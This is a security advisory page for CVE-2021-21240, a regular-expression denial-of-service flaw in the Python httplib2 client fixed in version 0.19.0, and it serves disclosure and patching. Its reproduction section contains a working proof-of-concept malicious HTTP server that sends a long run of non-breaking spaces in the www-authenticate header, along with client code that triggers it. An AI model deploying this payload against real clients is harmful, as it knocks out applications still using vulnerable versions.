Ecosyste.ms: Advisories
An open API service providing security vulnerability metadata for many open source software ecosystems.
Security Advisories: MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLTkzeGotOG1ydi00NDRt
Regular Expression Denial of Service (REDoS) in httplib2
Impact
A malicious server which responds with long series of \xa0
characters in the www-authenticate
header may cause Denial of Service (CPU burn while parsing header) of the httplib2 client accessing said server.
Patches
Version 0.19.0 contains new implementation of auth headers parsing, using pyparsing library.
https://github.com/httplib2/httplib2/pull/182
Workarounds
import httplib2
httplib2.USE_WWW_AUTH_STRICT_PARSING = True
Technical Details
The vulnerable regular expression is https://github.com/httplib2/httplib2/blob/595e248d0958c00e83cb28f136a2a54772772b50/python3/httplib2/init.py#L336-L338
The section before the equals sign contains multiple overlapping groups. Ignoring the optional part containing a comma, we have:
\s*[^ \t\r\n=]+\s*=
Since all three infinitely repeating groups accept the non-breaking space character \xa0
, a long string of \xa0
causes catastrophic backtracking.
The complexity is cubic, so doubling the length of the malicious string of \xa0
makes processing take 8 times as long.
Reproduction Steps
Run a malicious server which responds with
www-authenticate: x \xa0\xa0\xa0\xa0x
but with many more \xa0
characters.
An example malicious python server is below:
from http.server import BaseHTTPRequestHandler, HTTPServer
def make_header_value(n_spaces):
repeat = "\xa0" * n_spaces
return f"x {repeat}x"
class Handler(BaseHTTPRequestHandler):
def do_GET(self):
self.log_request(401)
self.send_response_only(401) # Don't bother sending Server and Date
n_spaces = (
int(self.path[1:]) # Can GET e.g. /100 to test shorter sequences
if len(self.path) > 1 else
65512 # Max header line length 65536
)
value = make_header_value(n_spaces)
self.send_header("www-authenticate", value) # This header can actually be sent multiple times
self.end_headers()
if __name__ == "__main__":
HTTPServer(("", 1337), Handler).serve_forever()
Connect to the server with httplib2:
import httplib2
httplib2.Http(".cache").request("http://localhost:1337", "GET")
To benchmark performance with shorter strings, you can set the path to a number e.g. http://localhost:1337/1000
References
Thanks to Ben Caller (Doyensec) for finding vulnerability and discrete notification.
For more information
If you have any questions or comments about this advisory:
- Open an issue in httplib2
- Email current maintainer at 2021-01
JSON: https://advisories.ecosyste.ms/api/v1/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLTkzeGotOG1ydi00NDRt
Source: GitHub Advisory Database
Origin: Unspecified
Severity: Low
Classification: General
Published: about 3 years ago
Updated: over 1 year ago
Identifiers: GHSA-93xj-8mrv-444m, CVE-2021-21240
References:
- https://github.com/httplib2/httplib2/security/advisories/GHSA-93xj-8mrv-444m
- https://github.com/httplib2/httplib2/pull/182
- https://github.com/httplib2/httplib2/commit/bd9ee252c8f099608019709e22c0d705e98d26bc
- https://nvd.nist.gov/vuln/detail/CVE-2021-21240
- https://pypi.org/project/httplib2
- https://github.com/advisories/GHSA-93xj-8mrv-444m
Blast Radius: 0.0
Affected Packages
pypi:httplib2
Dependent packages: 215Dependent repositories: 48,310
Downloads: 40,571,325 last month
Affected Version Ranges: < 0.19.0
Fixed in: 0.19.0
All affected versions: 0.7.0, 0.7.1, 0.7.2, 0.7.3, 0.7.4, 0.7.5, 0.7.6, 0.7.7, 0.9.1, 0.9.2, 0.10.3, 0.11.0, 0.11.1, 0.11.3, 0.12.0, 0.12.1, 0.12.3, 0.13.0, 0.13.1, 0.14.0, 0.15.0, 0.16.0, 0.17.0, 0.17.1, 0.17.2, 0.17.3, 0.17.4, 0.18.0, 0.18.1
All unaffected versions: 0.19.0, 0.19.1, 0.20.0, 0.20.1, 0.20.2, 0.20.4, 0.21.0, 0.22.0